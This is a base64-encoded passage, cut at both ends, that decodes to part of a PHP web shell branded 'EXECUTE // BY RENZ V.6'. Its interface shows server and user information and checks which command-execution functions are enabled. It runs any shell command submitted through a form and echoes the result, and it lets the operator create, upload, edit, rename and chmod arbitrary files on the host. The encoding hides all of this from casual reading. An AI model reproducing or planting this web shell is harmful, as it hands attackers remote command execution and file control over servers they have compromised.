SgyNTUsMjU1LDI1NSwwLjAyKTsgYm9yZGVyLXJhZGl1czogNHB4OyBib3JkZXI6IDFweCBzb2xpZCAjMTYxYzJkOyB9DQogICAgICAgIA0KICAgICAgICAuY21kLWJveCB7IGRpc3BsYXk6IGZsZXg7IGdhcDogMTBweDsgYmFja2dyb3VuZDogdmFyKC0tYmctaW5uZXIpOyBib3JkZXI6IDFweCBzb2xpZCAjMWUyNTM4OyBwYWRkaW5nOiA2cHggMTJweDsgYm9yZGVyLXJhZGl1czogNnB4OyBhbGlnbi1pdGVtczogY2VudGVyOyB9DQogICAgICAgIC5wcm9tcHQgeyBmb250LWZhbWlseTogbW9ub3NwYWNlOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCiAgICAgICAgLmNtZC1pbnB1dCB7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyBib3JkZXI6IG5vbmU7IGNvbG9yOiAjZmZmOyBmb250LWZhbWlseTogbW9ub3NwYWNlOyB3aWR0aDogMTAwJTsgb3V0bGluZTogbm9uZTsgcGFkZGluZzogNnB4IDA7IGZvbnQtc2l6ZTogMTNweDsgfQ0KICAgICAgICAudGVybWluYWwtb3V0cHV0IHsgYmFja2dyb3VuZDogIzA0MDUwODsgYm9yZGVyOiAxcHggc29saWQgI2ZmMzM2NjsgYm9yZGVyLXJhZGl1czogNnB4OyBwYWRkaW5nOiAxNXB4OyBmb250LWZhbWlseTogbW9ub3NwYWNlOyBjb2xvcjogI2FkYmFjNzsgbWFyZ2luLXRvcDogMTVweDsgb3ZlcmZsb3cteDogYXV0bzsgd2hpdGUtc3BhY2U6IHByZS13cmFwOyBtYXgtaGVpZ2h0OiAzNTBweDsgfQ0KICAgICAgICANCiAgICAgICAgLmNyZWF0aW9uLWdyaWQgeyBkaXNwbGF5OiBncmlkOyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IHJlcGVhdCgzLCAxZnIpOyBnYXA6IDIwcHg7IG1hcmdpbi1ib3R0b206IDIwcHg7IH0NCiAgICAgICAgLmNyZWF0aW9uLWJveCB7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlubmVyKTsgYm9yZGVyOiAxcHggc29saWQgIzFlMjUzODsgcGFkZGluZzogMThweDsgYm9yZGVyLXJhZGl1czogNnB4OyBkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47IH0NCiAgICAgICAgLnN1Yi1wYW5lbCB7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlubmVyKTsgYm9yZGVyOiAxcHggc29saWQgIzFlMjUzODsgYm9yZGVyLXJhZGl1czogNnB4OyBwYWRkaW5nOiAyMHB4OyBtYXJnaW4tYm90dG9tOiAyNXB4OyBib3JkZXItbGVmdDogNHB4IHNvbGlkIHZhcigtLWRhbmdlcik7IH0NCiAgICAgICAgDQogICAgICAgIHRhYmxlIHsgd2lkdGg6IDEwMCU7IGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IG1hcmdpbi10b3A6IDE1cHg7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlubmVyKTsgYm9yZGVyLXJhZGl1czogNnB4OyBvdmVyZmxvdzogaGlkZGVuOyBib3JkZXI6IDFweCBzb2xpZCAjMWUyNTM4OyB9DQogICAgICAgIHRoIHsgYmFja2dyb3VuZDogIzE2MWMyZDsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IHBhZGRpbmc6IDEycHg7IHRleHQtYWxpZ246IGxlZnQ7IGZvbnQtc2l6ZTogMC44NWVtOyBmb250LXdlaWdodDogNjAwOyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzFlMjUzODsgfQ0KICAgICAgICB0ZCB7IHBhZGRpbmc6IDEycHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMTExNjIyOyBmb250LWZhbWlseTogbW9ub3NwYWNlOyB9DQogICAgICAgIHRyOmhvdmVyIHsgYmFja2dyb3VuZDogcmdiYSgyNTUsMjU1LDI1NSwwLjAyKTsgfQ0KICAgICAgICAuZm9sZGVyLWxpbmsgeyBjb2xvcjogIzNiODJmNjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LXdlaWdodDogYm9sZDsgfQ0KICAgICAgICAuZmlsZS1saW5rIHsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IH0NCiAgICAgICAgDQogICAgICAgIHRleHRhcmVhIHsgd2lkdGg6IDEwMCU7IGhlaWdodDogODBweDsgYmFja2dyb3VuZDogIzA1MDYwYTsgYm9yZGVyOiAxcHggc29saWQgIzFlMjUzODsgY29sb3I6ICNhZGJhYzc7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IHBhZGRpbmc6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDZweDsgb3V0bGluZTogbm9uZTsgcmVzaXplOiB2ZXJ0aWNhbDsgfQ0KICAgICAgICBpbnB1dFt0eXBlPXRleHRdIHsgYmFja2dyb3VuZDogIzA1MDYwYTsgYm9yZGVyOiAxcHggc29saWQgIzFlMjUzODsgY29sb3I6ICNmZmY7IHBhZGRpbmc6IDhweCAxMnB4OyBib3JkZXItcmFkaXVzOiA2cHg7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG91dGxpbmU6IG5vbmU7IH0NCiAgICAgICAgaW5wdXRbdHlwZT1maWxlXSB7IGJhY2tncm91bmQ6ICMwNTA2MGE7IGJvcmRlcjogMXB4IHNvbGlkICMxZTI1Mzg7IGNvbG9yOiAjZmZmOyBwYWRkaW5nOiA2cHg7IGJvcmRlci1yYWRpdXM6IDZweDsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgb3V0bGluZTogbm9uZTsgd2lkdGg6IDEwMCU7IH0NCiAgICAgICAgDQogICAgICAgIC5idG4tZ2xvc3N5IHsNCiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsgZGlzcGxheTogaW5saW5lLWJsb2NrOyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjMDBmZjY2IDAlLCAjMDBiMzQ3IDUwJSwgIzAwODAzMyAxMDAlKTsNCiAgICAgICAgICAgIGNvbG9yOiAjMDAwOyBmb250LXdlaWdodDogYm9sZDsgYm9yZGVyOiAxcHggc29saWQgIzAwOTkzZDsgcGFkZGluZzogOHB4IDE2cHg7IGJvcmRlci1yYWRpdXM6IDZweDsgY3Vyc29yOiBwb2ludGVyOyBmb250LWZhbWlseTogaW5oZXJpdDsgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDAgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDRweCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4zKTsgdHJhbnNpdGlvbjogMC4xNXMgZWFzZTsgdGV4dC1hbGlnbjogY2VudGVyOw0KICAgICAgICB9DQogICAgICAgIC5idG4tZ2xvc3N5OjpiZWZvcmUgeyBjb250ZW50OiAiIjsgcG9zaXRpb246IGFic29sdXRlOyB0b3A6IDA7IGxlZnQ6IDA7IHJpZ2h0OiAwOyBoZWlnaHQ6IDUwJTsgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjI1KSAwJSwgcmdiYSgyNTUsIDI1NSwgMjU1LCAwKSAxMDAlKTsgcG9pbnRlci1ldmVudHM6IG5vbmU7IH0NCiAgICAgICAgLmJ0bi1nbG9zc3k6aG92ZXIgeyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjMWFmZjc1IDAlLCAjMDBjYzUyIDUwJSwgIzAwOTkzZCAxMDAlKTsgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggMCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIDAgNHB4IDE1cHggcmdiYSgwLCAyNTUsIDEwMiwgMC40KTsgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0xcHgpOyB9DQogICAgICAgIA0KICAgICAgICAuYnRuLWRhbmdlci1nbG9zc3kgeyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZmY0ZDc5IDAlLCAjZmYxYTUzIDUwJSwgI2NjMDAzMyAxMDAlKTsgYm9yZGVyOiAxcHggc29saWQgI2IzMDAyZDsgY29sb3I6ICNmZmY7IGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IDAgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpLCAwIDRweCAxMHB4IHJnYmEoMCwgMCwgMCwgMC4zKTsgfQ0KICAgICAgICAuYnRuLWRhbmdlci1nbG9zc3k6aG92ZXIgeyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZmY2NjhjIDAlLCAjZmYzMzY2IDUwJSwgIzk5MDAyNiAxMDAlKTsgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggMCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgNHB4IDE1cHggcmdiYSgyNTUsIDUxLCAxMDIsIDAuNCk7IH0NCiAgICAgICAgDQogICAgICAgIC5hY3Rpb25zIGEgeyBjb2xvcjogdmFyKC0tYWNjZW50KTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBtYXJnaW4tcmlnaHQ6IDhweDsgZm9udC1zaXplOiAwLjllbTsgZm9udC13ZWlnaHQ6IDUwMDsgfQ0KICAgICAgICAuYWN0aW9ucyBhOmhvdmVyIHsgY29sb3I6ICNmZmY7IH0NCiAgICAgICAgLmFjdGlvbnMgLmRlbC1idG4geyBjb2xvcjogdmFyKC0tZGFuZ2VyKTsgZm9udC13ZWlnaHQ6IGJvbGQ7IGJhY2tncm91bmQ6IG5vbmU7IGJvcmRlcjogbm9uZTsgY3Vyc29yOiBwb2ludGVyOyBmb250LWZhbWlseTogaW5oZXJpdDsgZm9udC1zaXplOiAwLjllbTsgfQ0KICAgICAgICAuYWN0aW9ucyAuZGVsLWJ0bjpob3ZlciB7IGNvbG9yOiAjZmZmOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQ0KICAgICAgICAuYWxlcnQgeyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDE1cHg7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IH0NCiAgICAgICAgLmxvZ291dC1idG4geyBjb2xvcjogdmFyKC0tZGFuZ2VyKTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LXdlaWdodDogYm9sZDsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tZGFuZ2VyKTsgcGFkZGluZzogNHB4IDEwcHg7IGJvcmRlci1yYWRpdXM6IDRweDsgfQ0KICAgICAgICAubG9nb3V0LWJ0bjpob3ZlciB7IGJhY2tncm91bmQ6IHZhcigtLWRhbmdlcik7IGNvbG9yOiAjZmZmOyB9DQogICAgICAgIA0KICAgICAgICAuYmFkZ2UgeyBmb250LXNpemU6IDAuOGVtOyBwYWRkaW5nOiAycHggNnB4OyBib3JkZXItcmFkaXVzOiA0cHg7IGZvbnQtd2VpZ2h0OiBib2xkOyBtYXJnaW4tbGVmdDogNXB4OyBmb250LWZhbWlseTogc2Fucy1zZXJpZjsgfQ0KICAgICAgICAuYmFkZ2UtciB7IGJhY2tncm91bmQ6IHJnYmEoMCwgMjU1LCAxMDIsIDAuMTUpOyBjb2xvcjogIzAwZmY2NjsgYm9yZGVyOiAxcHggc29saWQgcmdiYSgwLCAyNTUsIDEwMiwgMC4zKTsgfQ0KICAgICAgICAuYmFkZ2UtdyB7IGJhY2tncm91bmQ6IHJnYmEoMjU1LCAyMDQsIDAsIDAuMTUpOyBjb2xvcjogI2ZmY2MwMDsgYm9yZGVyOiAxcHggc29saWQgcmdiYSgyNTUsIDIwNCwgMCwgMC4zKTsgfQ0KICAgICAgICAuYmFkZ2UtcncgeyBiYWNrZ3JvdW5kOiByZ2JhKDAsIDE4OCwgMjU1LCAwLjE1KTsgY29sb3I6ICMwMGJjZmY7IGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMCwgMTg4LCAyNTUsIDAuMyk7IH0NCiAgICAgICAgLmJhZGdlLWxvY2tlZCB7IGJhY2tncm91bmQ6IHJnYmEoMjU1LCA1MSwgMTAyLCAwLjE1KTsgY29sb3I6ICNmZjMzNjY7IGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMjU1LCA1MSwgMTAyLCAwLjMpOyB9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgICAgICBmdW5jdGlvbiB0b2dnbGVTZWxlY3RBbGwoc291cmNlKSB7DQogICAgICAgICAgICBjaGVja2JveGVzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUoJ2ZpbGVzW10nKTsNCiAgICAgICAgICAgIGZvcih2YXIgaT0wLCBuPWNoZWNrYm94ZXMubGVuZ3RoOyBpPG47IGkrKykgeyBjaGVja2JveGVzW2ldLmNoZWNrZWQgPSBzb3VyY2UuY2hlY2tlZDsgfQ0KICAgICAgICB9DQogICAgPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keT4NCjxkaXYgY2xhc3M9InBhbmVsIj4NCiAgICA8ZGl2IGNsYXNzPSJoZWFkZXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJ0aXRsZSI+RVhFQ1VURSAvLyBCWSBSRU5aIFYuNjwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJzeXMtaW5mbyI+DQogICAgICAgICAgICBPUzogPD9waHAgZWNobyBwaHBfdW5hbWUoJ3MnKTsgPz4gfCBVc2VyOiA8P3BocCBlY2hvIGdldF9jdXJyZW50X3VzZXIoKTsgPz48YnI+DQogICAgICAgICAgICBTZXJ2ZXI6IDw/cGhwIGVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddOyA/PiB8IDxhIGhyZWY9Ij9hY3Q9bG9nb3V0IiBjbGFzcz0ibG9nb3V0LWJ0biI+TE9HT1VUPC9hPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICANCiAgICA8ZGl2IGNsYXNzPSJwYXRoLWJveCI+DQogICAgICAgIDxzcGFuPlBhdGg6PC9zcGFuPiANCiAgICAgICAgPD9waHANCiAgICAgICAgJHBhcnRzID0gZXhwbG9kZShEUywgcnRyaW0oJGN1cnJlbnRfZGlyLCBEUykpOyAkYWNjdW0gPSAiIjsNCiAgICAgICAgZWNobyAiPGEgaHJlZj0nP2Rpcj0iLnVybGVuY29kZShEUykuIic+LzwvYT4iOw0KICAgICAgICBmb3JlYWNoICgkcGFydHMgYXMgJHBhcnQpIHsNCiAgICAgICAgICAgIGlmICgkcGFydCA9PT0gIiIpIGNvbnRpbnVlOyAkYWNjdW0gLj0gRFMgLiAkcGFydDsNCiAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSc/ZGlyPSIudXJsZW5jb2RlKCRhY2N1bSkuIic+JHBhcnQ8L2E+IC8iOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIiAmbmJzcDsgIiAuICRkaXJfcmVhZGFibGUgLiAiICIgLiAkZGlyX3dyaXRhYmxlOw0KICAgICAgICA/Pg0KICAgIDwvZGl2Pg0KDQogICAgPGRpdiBjbGFzcz0iYXVkaXQtY29udGFpbmVyIj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYXVkaXQtaXRlbSI+PHNwYW4+c3lzdGVtOjwvc3Bhbj4gPHNwYW4+PD9waHAgZWNobyBjaGVja19mZWF0dXJlKCdmdW5jJywgJ3N5c3RlbScpOyA/Pjwvc3Bhbj48L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYXVkaXQtaXRlbSI+PHNwYW4+c2hlbGxfZXhlYzo8L3NwYW4+IDxzcGFuPjw/cGhwIGVjaG8gY2hlY2tfZmVhdHVyZSgnZnVuYycsICdzaGVsbF9leGVjJyk7ID8+PC9zcGFuPjwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJhdWRpdC1pdGVtIj48c3Bhbj5wYXNzdGhydTo8L3NwYW4+IDxzcGFuPjw/cGhwIGVjaG8gY2hlY2tfZmVhdHVyZSgnZnVuYycsICdwYXNzdGhydScpOyA/Pjwvc3Bhbj48L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYXVkaXQtaXRlbSI+PHNwYW4+cHJvY19vcGVuOjwvc3Bhbj4gPHNwYW4+PD9waHAgZWNobyBjaGVja19mZWF0dXJlKCdmdW5jJywgJ3Byb2Nfb3BlbicpOyA/Pjwvc3Bhbj48L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYXVkaXQtaXRlbSI+PHNwYW4+cG9wZW46PC9zcGFuPiA8c3Bhbj48P3BocCBlY2hvIGNoZWNrX2ZlYXR1cmUoJ2Z1bmMnLCAncG9wZW4nKTsgPz48L3NwYW4+PC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9ImF1ZGl0LWl0ZW0iPjxzcGFuPmN1cmxfaW5pdDo8L3NwYW4+IDxzcGFuPjw/cGhwIGVjaG8gY2hlY2tfZmVhdHVyZSgnZnVuYycsICdjdXJsX2luaXQnKTsgPz48L3NwYW4+PC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9ImF1ZGl0LWl0ZW0iPjxzcGFuPmFsbG93X3VybF9mb3Blbjo8L3NwYW4+IDxzcGFuPjw/cGhwIGVjaG8gY2hlY2tfZmVhdHVyZSgnaW5pJywgJ2FsbG93X3VybF9mb3BlbicpOyA/Pjwvc3Bhbj48L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYXVkaXQtaXRlbSI+PHNwYW4+ZmlsZV91cGxvYWRzOjwvc3Bhbj4gPHNwYW4+PD9waHAgZWNobyBjaGVja19mZWF0dXJlKCdpbmknLCAnZmlsZV91cGxvYWRzJyk7ID8+PC9zcGFuPjwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIA0KICAgIDw/cGhwIGlmICgkbXNnKSBlY2hvICI8ZGl2IGNsYXNzPSdhbGVydCc+WyFdICIuaHRtbHNwZWNpYWxjaGFycygkbXNnKS4iPC9kaXY+IjsgPz4NCiAgICANCiAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOiAyMHB4OyI+DQogICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjbWQtYm94Ij4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0icHJvbXB0Ij4kPC9zcGFuPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIGNsYXNzPSJjbWQtaW5wdXQiIHBsYWNlaG9sZGVyPSJFeGVjdXRlIHNoZWxsIGNvbW1hbmQuLi4iIGF1dG9jb21wbGV0ZT0ib2ZmIiBhdXRvZm9jdXMgdmFsdWU9Ijw/cGhwIGVjaG8gaXNzZXQoJF9QT1NUWydjbWQnXSkgPyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10pIDogJyc7ID8+Ij4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0bi1nbG9zc3kiPkV4ZWN1dGU8L2J1dHRvbj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Zvcm0+DQogICAgICAgIDw/cGhwDQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddICE9PSAnJykgew0KICAgICAgICAgICAgZWNobyAiPGRpdiBjbGFzcz0ndGVybWluYWwtb3V0cHV0Jz4iOw0KICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGV4ZWN1dGVfY29tbWFuZCgkX1BPU1RbJ2NtZCddKSk7DQogICAgICAgICAgICBlY2hvICI8L2Rpdj4iOw0KICAgICAgICB9DQogICAgICAgID8+DQogICAgPC9kaXY+DQogICAgDQogICAgPGRpdiBjbGFzcz0iY3JlYXRpb24tZ3JpZCI+DQogICAgICAgIDxkaXYgY2xhc3M9ImNyZWF0aW9uLWJveCI+DQogICAgICAgICAgICA8aDUgc3R5bGU9ImNvbG9yOiB2YXIoLS1hY2NlbnQpOyBtYXJnaW4tYm90dG9tOiAxMnB4OyI+8J+ThCBDcmVhdGUgTmV3IEZpbGU8L2g1Pg0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJuZXdfZmlsZSI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld19maWxlbmFtZSIgcGxhY2Vob2xkZXI9InNjcmlwdC5waHAiIHN0eWxlPSJ3aWR0aDogMTAwJTsgbWFyZ2luLWJvdHRvbTogMTJweDsiIHJlcXVpcmVkPg0KICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJuZXdfZmlsZWNvbnRlbnQiIHBsYWNlaG9sZGVyPSJTb3VyY2UgY29kZSBjb250ZW50Li4uIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMTJweDsiPjwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4tZ2xvc3N5IiBzdHlsZT0id2lkdGg6IDEwMCU7Ij5DcmVhdGUgRmlsZTwvYnV0dG9uPg0KICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICA8L2Rpdj4NCg0KICAgICAgICA8ZGl2IGNsYXNzPSJjcmVhdGlvbi1ib3giPg0KICAgICAgICAgICAgPGg1IHN0eWxlPSJjb2xvcjogdmFyKC0tYWNjZW50KTsgbWFyZ2luLWJvdHRvbTogMTJweDsiPvCfk6QgVXBsb2FkIEZpbGU8L2g1Pg0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBzdHlsZT0iaGVpZ2h0OiAxMDAlOyBkaXNwbGF5OiBmbGV4OyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47Ij4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ1cGxvYWQiPg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206IDEycHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZF9maWxlIiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0bi1nbG9zc3kiIHN0eWxlPSJ3aWR0aDogMTAwJTsgbWFyZ2luLXRvcDogYXV0bzsiPlVwbG9hZCBGaWxlPC9idXR0b24+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDxkaXYgY2xhc3M9ImNyZWF0aW9uLWJveCI+DQogICAgICAgICAgICA8aDUgc3R5bGU9ImNvbG9yOiB2YXIoLS1hY2NlbnQpOyBtYXJnaW4tYm90dG9tOiAxMnB4OyI+8J+TgSBDcmVhdGUgTmV3IEZvbGRlcjwvaDU+DQogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiIHN0eWxlPSJoZWlnaHQ6IDEwMCU7IGRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9Im5ld19mb2xkZXIiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdfZm9sZGVybmFtZSIgcGxhY2Vob2xkZXI9ImFzc2V0cyIgc3R5bGU9IndpZHRoOiAxMDAlOyBtYXJnaW4tYm90dG9tOiAxMnB4OyIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4tZ2xvc3N5IiBzdHlsZT0id2lkdGg6IDEwMCU7IG1hcmdpbi10b3A6IGF1dG87Ij5DcmVhdGUgRm9sZGVyPC9idXR0b24+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIA0KICAgIDw/cGhwDQogICAgaWYgKGlzc2V0KCRfR0VUWydpdGVtJ10pICYmIGlzc2V0KCRfR0VUWydhY3QnXSkpIHsNCiAgICAgICAgJGl0ZW0gPSAkX0dFVFsnaXRlbSddOyAkYWN0ID0gJF9HRVRbJ2FjdCddOw0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGl0ZW0pKSB7DQogICAgICAgICAgICBlY2hvICI8ZGl2IGNsYXNzPSdzdWItcGFuZWwnPiI7DQogICAgICAgICAgICBlY2hvICI8aDUgc3R5bGU9J21hcmdpbi1ib3R0b206MTJweDsgY29sb3I6dmFyKC0tYWNjZW50KTsnPlRhcmdldDogIiAuIGh0bWxzcGVjaWFsY2hhcnMoYmFzZW5hbWUoJGl0ZW0pKSAuICIgKCIgLiBzdHJ0b3VwcGVyKCRhY3QpIC4gIik8L2g1PiI7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmICgkYWN0ID09PSAnZWRpdCcgJiYgaXNfZmlsZSgkaXRlbSkpIHsNCiAgICAgICAgICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRpdGVtKTsNCiAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0aW9uJyB2YWx1ZT0nc2F2ZSc+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YXJnZXQnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiInPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9J2NvbnRlbnQnIHN0eWxlPSdoZWlnaHQ6MjYwcHg7Jz4iLmh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpLiI8L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0bi1nbG9zc3knPlNhdmUgQ2hhbmdlczwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4iOw0KICAgICAgICAgICAgfSBlbHNlaWYgKCRhY3QgPT09ICdyZW5hbWUnKSB7DQogICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPSdQT1NUJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdGlvbicgdmFsdWU9J3JlbmFtZSc+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YXJnZXQnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW0pLiInPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J25ld19uYW1lJyBzdHlsZT0nd2lkdGg6MzAwcHg7JyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRpdGVtKSkuIic+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0bi1nbG9zc3knPlJlbmFtZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4iOw0KICAgICAgICAgICAgfSBlbHNlaWYgKCRhY3QgPT09ICdjaG1vZCcpIHsNCiAgICAgICAgICAgICAgICAkY3VycmVudF9wZXJtcyA9IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkaXRlbSkpLCAtNCk7DQogICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPSdQT1NUJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdGlvbicgdmFsdWU9J2NobW9kJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3RhcmdldCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkaXRlbSkuIic+DQogICAgICAgICAgICAgICAgICAgICAgICBNYXNrOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY2ht